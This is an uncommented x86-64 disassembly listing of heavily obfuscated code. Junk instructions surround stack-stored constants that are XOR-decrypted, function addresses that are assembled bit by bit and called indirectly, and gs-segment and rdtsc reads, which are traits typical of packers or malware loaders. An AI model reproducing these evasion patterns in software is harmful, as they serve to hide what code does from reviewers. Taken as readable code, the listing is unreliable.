movzx rcx, bp
cmovb rdx, rax
cdq
mov qword [rsp + 0xc0], rax
not cl
movsx rdx, r8w
movabs rax, 0x1d25a3d20a02e32e
cqo
mov qword [rsp + 0xc8], rax
cdq
movsx rax, r12w
movzx dx, bh
movabs rax, 0xc49f434bef49002f
movsx cx, r11b
mov qword [rsp + 0xd0], rax
cdq
movabs rax, 0x6a1276842f306300
movsx edx, sp
cwd
cmove cx, r14w
mov qword [rsp + 0xd8], rax
lea rax, [rsp + 0xc0]
movups xmm0, xmmword [rax]
cmovns rdx, r8
not edx
jmp 0x14011da3c
xorps xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0xa0], xmm0
movsx rcx, r11w
movzx rcx, r15w
mov cx, r15w
movdqu xmm0, xmmword [rax + 0x10]
not dh
cqo
cdq
pxor xmm0, xmmword [rsp + 0xb0]
movzx rcx, r15w
movsx dx, bl
movsxd rdx, esi
movdqa xmmword [rsp + 0xb0], xmm0
cdq
bswap dx
not rcx
lea rcx, [0x1400f6f20]
movzx dx, r10b
mov dx, 0x7855
mov dl, r8b
lea rdx, [rsp + 0xa0]
jmp 0x14011daa6
call fcn.1400027c0
xor esi, esi
jmp 0x14011dab2
jmp 0x14011e8a7
movabs rax, 0xac6fe207db293b26
setne ch
mov ch, 0x98
mov qword [rsp + 0xa0], rax
setp cl
not dx
movabs rax, 0x7257d1b72a699141
mov qword [rsp + 0xa8], rax
cdqe
not cx
movabs rax, 0xc49f434bef490a5d
mov qword [rsp + 0xb0], rax
movzx ecx, bx
movabs rax, 0x6a1276842f306300
mov rdx, 0x7fb0e887
movzx dx, r13b
mov qword [rsp + 0xb8], rax
movabs rcx, 0xdb1b8769fb74167d
mov qword [rsp + 0xc0], rcx
movabs rcx, 0x1d25a3d20a02e32e
mov qword [rsp + 0xc8], rcx
movabs rcx, 0xc49f434bef49002f
mov dx, 0x638c
movzx dx, r15b
mov qword [rsp + 0xd0], rcx
cwd
mov qword [rsp + 0xd8], rax
movzx rdx, bx
lahf
not rax
lea rax, [rsp + 0xc0]
movups xmm0, xmmword [rax]
mov edx, ecx
movsx dx, r11b
xorps xmm0, xmmword [rsp + 0xa0]
movsxd rdx, r13d
movzx rcx, dx
movaps xmmword [rsp + 0xa0], xmm0
movups xmm0, xmmword [rax + 0x10]
movsx cx, r13b
mov edx, r11d
movzx edx, sp
xorps xmm0, xmmword [rsp + 0xb0]
cwd
movaps xmmword [rsp + 0xb0], xmm0
movsx rcx, r14w
lea rcx, [0x1400f6f20]
lea rdx, [rsp + 0xa0]
jmp 0x14011dbd2
call fcn.1400027c0
mov rcx, qword [rsp + 0x28]
sub edx, edx
mov r8b, sil
setbe r8b
mov r8, rbx
jmp 0x14011dbed
call fcn.1400cae90
pxor xmm6, xmmword [0x1400f6b20]
bswap dx
sbb dh, 0x10
cdq
movq rdx, xmm6
dec r9b
bts r9d, ebx
rol r9d, 0x97
mov r9, rdx
cmp bl, r14b
shl r9, 0xc
pshufd xmm0, xmm6, 0xee
movq rax, xmm0
rcr bpl, cl
btr r10w, 0xed
mov rcx, rax
sete r10b
movsx r13w, r13b
shr rcx, 8
ror r15w, 0xd8
mov r8d, r9d
rcr r10b, 0x6c
and r8d, 0xf00f0000
movsxd rbp, edi
movabs rbp, 0xf0000000f00
btr rbx, r13
xadd r15b, sil
and rcx, rbp
rol r10b, 9
stc
mov r10, rdx
shl r10, 0x10
sub esi, ebx
rcl r12w, 0xf1
movabs r13, 0xf000000000
movzx r12w, bl
dec r11w
and r10, r13
bt esi, 0x89
rcl si, cl
or r10, r8
bts r14w, r14w
adc r11, 0x2c30d772
mov r11, rax
movzx r12d, ax
bts r12w, r15w
shl r11, 8
sal r8b, cl
movsx r8d, r8w
movabs r12, 0xf000000000000
or r14w, sp
shld r14, rdx, 0xc9
movzx ebx, cx
and r11, r12
or r11, r10
mov r8, rdx
bts si, r10w
sub r15b, r8b
bts bx, ax
shr r8, 0x38
add r15w, 0xb352
sub r10b, al
movabs r15, 0xf00000000000
shrd r14w, r11w, 0xa0
rcl ebx, cl
and r9, r15
cmovg ebx, eax
rol bh, cl
and sil, 0x36
mov rbx, rax
shl rbx, 0x3c
bswap r14w
or rbx, rcx
bsr r14, r14
sal r14b, 0xb5
or rbx, r11
sar r11b, cl
bts r14d, eax
mov rcx, rax
btc r11, r10
clc
movsx r14d, r13w
shr rcx, 0x14
not r14b
xchg r10b, r11b
shl r11w, 0xbb
mov r10, rdx
mov r14, rbp
shr r10, 0x28
rcr r11d, 0xe2
bsr r11w, r10w
dec r11
and r10d, 0xf
cmc
and r8d, 0xfffffff0
mov si, 0xf48e
or r8, r9
bt r11w, sp
jmp 0x14011dd83
or r8, rbx
mov r9, rax
bsr bx, dx
rcl sil, cl
setl bh
shl r9, 0x20
xor bx, 0xf00c
not r14
sal r14b, cl
movabs r14, 0xf0000000000000
and r9, r14
add sil, dl
test r14, rbx
ror r11b, cl
mov r11, rdx
shr r11, 0x18
inc ebx
cmp ch, 8
rcr ebx, cl
and r11d, 0xf000000
and bl, spl
or r11, r9
ror bh, cl
shr rdx, 0x24
xadd sil, sil
inc rbx
sar rbx, 0xf1
and edx, 0xf00000
shl rax, 0x30
cmp cx, r12w
jmp 0x14011ddfb
movabs rsi, 0xf00000000000000
movsx ebx, sp
ror bx, 0x87
and rax, rsi
xchg bl, bl
sbb bx, r12w
or rbx, 0xffffffffe19f9e9f
or rax, rdx
dec dl
shr bl, 0x79
adc dx, sp
movabs rbx, 0xf0000f000
rcl dl, cl
and rcx, rbx
or rcx, r10
movzx dx, r15b
sal dx, 0x2e
rol rdx, 0x22
or rcx, r11
and dh, 0xc1
or rcx, rax
ror dx, 9
rol dx, 0xf1
or rcx, r8
not rcx
movabs rdx, 0x998f3bc3b39a8f94
call fcn.140017060
mov r8, rax
mov rax, qword [rsp + 0x30]
bswap edi
rcl rdx, 0x97
shr r11b, 0x8a
mov r9, qword gs:[rax]
and r11w, 0xf750
movzx ecx, di
sbb r11b, r8b
rdtsc
and ecx, esi
shl rdx, 0x20
and rdi, rax
cmc
or rdx, rax
mov rax, qword [rsp + 0x50]
bsr di, sp
btr ecx, 0x4a
movzx r11w, sil
imul rax, rdx
adc cx, 0x5e0a
movq xmm0, rax
cmp cl, 0x9c
clc
cwde
movq xmm1, rdx
or ecx, r9d
add al, bh
sbb r10b, cl
mov r11, qword [rsp + 0x70]
shld rax, r12, 0xce
imul r11, rdx
imul rdx, qword [rsp + 0x68]
shr dil, 0x5e
sub edi, 0x8d082db9
sub rax, r12
mov rax, r8
mov rdi, qword [rsp + 0x60]
inc r10b
and rax, rdi
movabs r10, 0xffffffff00000000
and r11, r10
bts cx, r15w
movzx ecx, bp
cmc
or r11, rax
mov rcx, qword [rsp + 0x48]
shr r8, cl
rol ax, cl
adc eax, ebp
and r8, rdi
test r10, 0x7294354e
and rdx, r10
bsf ax, bx
sal al, cl
inc ch
or rdx, r8
rcr al, 0x7d
movq xmm2, rdx
bts ax, ax
rcl r8b, 0xbe
punpcklqdq xmm1, xmm0
movq xmm0, r11
shld r8w, r12w, 0x6a
cmc
punpcklqdq xmm0, xmm2
bswap cx
pxor xmm0, xmm1
mov rax, qword [rsp + 0x40]
movdqu xmmword [rax + r9], xmm0
mov rax, qword [rsp + 0x38]
btc ecx, 0x5a
movdqu xmmword [rax + r9], xmm1
pxor xmm7, xmmword [0x1400f6b70]
movq rcx, xmm7
xchg r8b, r8b
mov r8, rcx
test eax, 0x5fb889ea
shl r8, 0xc
jmp 0x14011dfa2
pshufd xmm0, xmm7, 0xee
movq rax, xmm0
movsx r10, r9w
mov rdx, rax
movsx r10w, r15b
xadd r10, r10
shr rdx, 8
and rdx, rbp
setne r9b
mov r9, rcx
btr r10w, r15w
rol r10d, 0x88
shl r9, 0x10
add r10b, r10b
sar r10b, cl
and r9, r13
mov r10d, r8d
and r10d, 0xf00f0000
cmp r9w, 0xc57b
stc
or r9, r10
rcr r10b, cl
cmovnp r10d, r15d
test r11b, 0xd0
mov r10, rax
test r15b, r12b
shl r10, 8
and r10, r12
or r10, r9
shr r9b, cl
and r8, r15
rcl r9d, 0x5f
test r10b, 0xa7
mov r9, rax
clc
shl r9, 0x3c
jmp 0x14011e02a
or r9, rdx
mov dl, r14b
shr rdx, 0x51
or r9, r10
mov rdx, rcx
shr rdx, 0x38
and edx, 0xfffffff0
or rdx, r8
test ch, 0xa3
sub r8b, r13b
or rdx, r9
mov r8, rax
add r9w, si
xor r9b, dl
shl r8, 0x20
and r8, r14
shrd r9w, dx, 0xd8
shl r10b, cl
mov r9, rcx
xor r10b, r8b
bsf r10w, r9w
jmp 0x14011e077
shr r9, 0x18
cmc
cmp r10w, r9w
rcr r10w, 0x44
and r9d, 0xf000000
dec r10b
cmp r9w, 0x6a83
or r9, r8
test sp, cx
bt r8d, 0x3b
cmp rsi, r10
mov r8, rax
add r10b, r15b
shl rax, 0x30
and r10w, r12w
adc r10b, 0x1e
movzx r10, bx
and rax, rsi
sub esi, esi
ror r10b, cl
cmp r12d, r14d
mov r10, rcx
test edx, 0x189bd306
shr rcx, 0x24
test ch, 0x8d
cmc
and ecx, 0xf00000
clc
cmp r14w, 0xe64
or rax, rcx
or ch, 0x68
shr r8, 0x14
and r8, rbx
btr cx, r12w
xadd ch, cl
test ebp, eax
shr r10, 0x28
mov cx, 0x390e
and r10d, 0xf
or r8, r10
or r8, r9
mov cl, r15b
stc
or r8, rax
shr cl, cl
bt cx, bp
or r8, rdx
movsx cx, r11b
setnp cl
not r8
movsx ecx, dx
mov rcx, qword [rsp + 0x28]
jmp 0x14011e133
call r8
jmp 0x14011e8a7
mov rdx, rax
xadd r9w, r14w
btc r14, r12
ror r9b, cl
and rdx, 0xfffffffffffffffe
stc
adc r14b, 0xaa
mov r11, qword [rsp + 0x78]
lea rcx, [r11 + r11*8]
clc
lea rcx, [r11 + rcx*2]
xor r9w, r8w
setns r8b
mov r8, 0xffffffffffffffed
rol r9w, cl
add r10, 0x382867f5
sub r8, rcx
add r9, 0xffffffffbd880f86
movzx r10w, r14b
btr cx, r13w
mov rdi, qword [rsp + 0x58]
sal r10, cl
mov cl, r11b
mov r9, rdi
btr r14w, bx
movsx cx, bpl
not cl
shl r9, 5
test r11d, r13d
lea rcx, [r11 + r11]
lea rcx, [rcx + rcx*8]
rcr r10w, cl
cmc
mov r10, 0xffffffffffffffee
sub r14b, r13b
cmc
sub r10, rcx
rcr ch, 0x44
btc cx, cx
lea rcx, [r11 + r11*2]
bsf r14w, si
inc r14d
mov r11, 0xfffffffffffffffd
bswap r14d
sub r11, rcx
lea rdi, [rdi + rdi]
mov r14w, bx
sub ecx, ecx
movsxd r14, r12d
xor r14w, r13w
mov r14, qword [rsp + 0x28]
test r8w, si
cmp cx, ax
clc
nop word cs:[rax + rax]
jmp 0x14011e220
movq xmm0, r11
test r13, rbx
movq xmm1, rdi
cmc
test cl, dh
cmp r14b, spl
punpcklqdq xmm1, xmm0
movdqu xmm0, xmmword [r14]
cmc
pxor xmm0, xmm1
test r11w, r8w
cmp r9b, 0x5a
stc
movdqu xmm1, xmmword [r14 + 0x10]
movdqu xmmword [r14], xmm0
movq xmm0, r8
test r12b, dil
test rsi, 0xffffffffbe8ad16c
movq xmm2, r10
cmp dil, r13b
stc
punpcklqdq xmm2, xmm0
pxor xmm2, xmm1
movdqu xmmword [r14 + 0x10], xmm2
test rbx, 0xffffffffdb39da06
add rcx, 0x20
stc
clc
add r8, r9
test dl, 0xa3
cmp al, 0xca
add r10, r9
clc
cmp r11b, bl
add r14, 0x20
test r12b, cl
add r11, r9
add rdi, r9
test r14w, 0xb50
add rdx, 0xfffffffffffffffe
jmp 0x14011e2b3
jne 0x14011e220
test al, 1
je 0x14011e32c
mov rax, rcx
or rax, 2
mov r8, qword [rsp + 0x58]
imul rax, r8
mov rdx, rcx
or rdx, 3
ror r12w, 0x3c
imul rdx, r8
movsx r8d, cx
jmp 0x14011e2ea
movq xmm0, rdx
cdq
xchg r12d, edx
setbe dl
movq xmm1, rax
movzx edx, bx
cbw
setp r12b
punpcklqdq xmm1, xmm0
cqo
mov rax, qword [rsp + 0x28]
movsx r8, bp
movdqu xmm0, xmmword [rcx + rax]
pxor xmm0, xmm1
movzx r12d, r11w
movdqu xmmword [rcx + rax], xmm0
setb r8b
cdq
cwd
mov rcx, qword [rsp + 0x80]
movzx r12d, r8w
movsx r8, sp
mov r12, qword [rsp + 0x28]
mov dx, dx
mov rdx, r12
movsxd r8, esi
movzx r8, bp
mov r8, qword [rsp + 0x88]
call fcn.1400ca7f0
mov rcx, r12
neg r8
sub edx, edx
mov r8, rbx
jmp 0x14011e36b
call fcn.1400cae90
pxor xmm6, xmmword [0x1400f6b20]
sar r9b, cl
or r9d, ecx
movq rdx, xmm6
mov r9, rdx
shl r9, 0xc
jmp 0x14011e38f
pshufd xmm0, xmm6, 0xee
movq rax, xmm0
cmc
mov rcx, rax
sub dil, 0x53
sub edi, edx
bsr di, si
shr rcx, 8
rcr r15b, cl
mov r8d, r9d
bts r10w, r14w
shr r15b, 0x45
and r8d, 0xf00f0000
btr r13w, 0x97
shl r10b, cl
movabs r13, 0xf0000000f00
and rcx, r13
mov r10, rdx
rol r14w, 0x62
and r14w, 0x2c1
movsx r15, bx
shl r10, 0x10
rol bl, cl
stc
movabs r14, 0xf000000000
shrd ebx, eax, 0x5b
and r10, r14
bsf ebx, r12d
or r10, r8
xchg edi, r15d
mov r11, rax
sar r15b, cl
movzx edi, r9w
shl r11, 8
shr edi, 0x3b
and r11, rbp
btc rbx, 0xa3
sbb bl, r13b
or r11, r10
mov r8, rdx
rcl ebx, cl
sub r15b, r9b
setno dil
shr r8, 0x38
test bh, bh
and r9, rsi
not ebx
ror r15b, cl
mov rdi, rax
movsx r15, r13w
btr r15w, r15w
shl rdi, 0x3c
or rdi, rcx
cmovns r10d, r10d
ror bl, cl
or rdi, r11
movzx r10d, r12w
bswap bx
mov rcx, rax
sal r10w, 0x84
sbb r15d, 0xd4af4952
bsr r11, rbp
shr rcx, 0x14
inc bx
mov r10, rdx
or bx, r15w
sal bl, cl
xchg bx, bx
shr r10, 0x28
rol r15, cl
cmc
rcl r11, 0xff
and r10d, 0xf
bt r11w, 0x82
add r11b, r15b
sub r11, 0x57158ad6
and r8d, 0xfffffff0
movzx r11d, bx
shrd rbx, r11, 0x25
or r8, r9
or r8, rdi
movsx rbx, dx
cmc
mov r9, rax
cmc
xor r11w, 0xebe4
bt bx, 0x65
shl r9, 0x20
shl r11b, 0x45
movsxd rdi, r15d
xadd r15b, r15b
movabs rbx, 0xf0000000000000
movzx r11, bx
and r9, rbx
adc r15b, 0x97
mov r11, rdx
bt edi, 0x53
shr r11, 0x18
xadd dil, dil
rcr r15w, cl
sub r15d, 0xd09e25b0
and r11d, 0xf000000
sal r15b, cl
sub r15d, r15d
cmovle r15, rbx
or r11, r9
rcr r15w, 0xa8
mov r15, r11
movzx r15w, r15b
shr rdx, 0x24
ror r15w, 0x23
rcr r15b, 0xaf
and edx, 0xf00000
shl rax, 0x30
movabs rdi, 0xf00000000000000
and rax, rdi
bt r15w, 0xe
add r15, 0xffffffffcd125c13
movsx r15d, r14w
or rax, rdx
movabs r15, 0xf0000f000
neg rdx
ror rdx, 0x17
and rcx, r15
movsx rdx, dx
or rcx, r10
sub dx, r12w
clc
bt edx, 0x83
or rcx, r11
sub dl, 0x9e
shrd dx, cx, 0x90
adc dl, 0x69
or rcx, rax
or rcx, r8
not rcx
mov dl, spl
seta dh
movabs rdx, 0x998f3bc3b39a8f94
jmp 0x14011e5bb
call fcn.140017060
mov r8, rax
rcl rdx, cl
sbb rdx, 0xfffffffff439a15a
mov rax, qword [rsp + 0x30]
mov r9, qword gs:[rax]
bt ax, r15w
rdtsc
stc
shl rdx, 0x20
cmp si, 0xd8ac
or rdx, rax
shl ah, 0xac
mov rax, qword [rsp + 0x50]
cmc
cmp r10b, 0xa5
imul rax, rdx
jmp 0x14011e600
movq xmm0, rdx
jmp 0x14011e60a
movq xmm2, rax
pshufd xmm1, xmm0, 0x44
punpcklqdq xmm0, xmm2
movdqa xmm2, xmm8
jmp 0x14011e622
psrlq xmm2, 0x20
pmuludq xmm2, xmm1
movdqa xmm3, xmm1
psrlq xmm3, 0x20
pmuludq xmm3, xmm8
paddq xmm3, xmm2
psllq xmm3, 0x20
pmuludq xmm1, xmm8
movq xmm2, r8
movsx cx, bpl
movzx ecx, cx
mov rcx, qword [rsp + 0x48]
test r13d, 0xbf334561
stc
shr r8, cl
jmp 0x14011e669
paddq xmm1, xmm3
jmp 0x14011e672
movq xmm3, r8
punpcklqdq xmm2, xmm3
jmp 0x14011e680
pand xmm2, xmm9
pand xmm1, xmmword [0x1400cc030]
jmp 0x14011e692
por xmm1, xmm2
pxor xmm1, xmm0
sub ax, 0xb211
test r13b, 0xdc
bts ax, r9w
mov rax, qword [rsp + 0x40]
movdqu xmmword [rax + r9], xmm1
and cl, r9b
sar al, cl
rcr cx, cl
mov rax, qword [rsp + 0x38]
movdqu xmmword [rax + r9], xmm0
bts r9d, esi
xchg r9b, cl
pxor xmm7, xmmword [0x1400f6b70]
movq rcx, xmm7
neg r9w
mov r9, rcx
test r12d, 0xdc23cb3a
shl r9, 0xc
jmp 0x14011e6f0
pshufd xmm0, xmm7, 0xee
movq rax, xmm0
sbb r10d, r13d
sub r10b, 0x38
sub rdx, r12
mov r8, rax
bt dx, dx
movzx r11, r13w
shr r8, 8
movsxd r11, eax
mov edx, r9d
bt r11, 0x4b
and edx, 0xf00f0000
cmp r9b, 0xa7
shl r11, cl
rcl r11b, cl
and r8, r13
add r11b, 0x8a
mov r10, rcx
shl r10, 0x10
jmp 0x14011e749
and r10, r14
rcr r11w, cl
shl r11, 0xd1
or r10, rdx
mov r11, rax
or dl, spl
shl r11, 8
cmp r15b, r8b
xchg edx, edx
shl edx, cl
and r11, rbp
or r11, r10
mov rdx, rcx
xor r10d, r15d
rcr r10d, 0x47
shr rdx, 0x38
and r9, rsi
mov rsi, rax
bts r10w, di
add r10w, 0x5c62
xor r10b, dl
shl rsi, 0x3c
and r10, r8
or rsi, r8
rcr r10b, cl
or rsi, r11
cmovge r10, rdi
shr r8b, cl
mov r8, rax
shr r8, 0x14
xadd r11d, r10d
mov r11b, r10b
dec r10
mov r10, rcx
add r11w, r9w
neg r11b
bts r11d, r8d
shr r10, 0x28
bts r11w, ax
rcr r11d, 0x84
xor r11b, r12b
and r10d, 0xf
and r11d, r13d
rcr r11b, 3
and edx, 0xfffffff0
or rdx, r9
sar r11d, 0xb9
movsx r9w, r13b
movzx r11, bp
or rdx, rsi
rol r11w, cl
mov r9, rax
not r11w
shr r11b, cl
shl r9, 0x20
and r9, rbx
shr r11b, cl
movsx r11, r15w
sal r11w, cl
mov r11, rcx
clc
shr r11, 0x18
stc
and r11d, 0xf000000
test r13, 0xffffffff80325adc
or r11, r9
stc
shr rcx, 0x24
cmc
test r13b, r10b
and ecx, 0xf00000
jmp 0x14011e84e
shl rax, 0x30
and rax, rdi
cmp r8, r8
test r9w, bx
or rax, rcx
movsx cx, r14b
movsx rcx, dx
btc rcx, r9
and r8, r15
or r8, r10
or r8, r11
xor cl, 0xbb
inc ch
and cl, sil
or r8, rax
or r8, rdx
mov ch, 0x24
jmp 0x14011e88b
not r8
movsx rcx, r14w
not ch
mov rcx, r12
call r8
mov sil, 1
shl ch, cl
movzx rcx, r11w
movzx ecx, r12w
mov rcx, qword [rsp + 0xe8]
clc
cmp r9d, r15d
cmc
xor rcx, rsp
jmp 0x14011e8bc
call fcn.14009adb0
mov eax, esi
bswap r14d
movaps xmm6, xmmword [rsp + 0xf0]
rol r13b, cl
movaps xmm7, xmmword [rsp + 0x100]
setp r15b
movaps xmm8, xmmword [rsp + 0x110]
setge r13b
movsx r13, si
cmovge bp, r15w
movaps xmm9, xmmword [rsp + 0x120]
movaps xmm10, xmmword [rsp + 0x130]
movsx r13w, r13b
bsr esi, eax
add rsp, 0x148
bswap r13w
movzx di, sil
pop rbx
movzx rsi, bx
not bpl
jmp 0x14011e92a
pop rbp
setl sil
pop rdi
cmovs r14d, esi
pop rsi
movzx r15w, bl
pop r12
movsxd r14, r8d
movsx r13d, sp
pop r13
movzx r15d, r8w
jmp 0x14011e94e
pop r14
not r15d
bswap r15w
movzx r15d, r8w
pop r15
jmp 0x14011e962
ret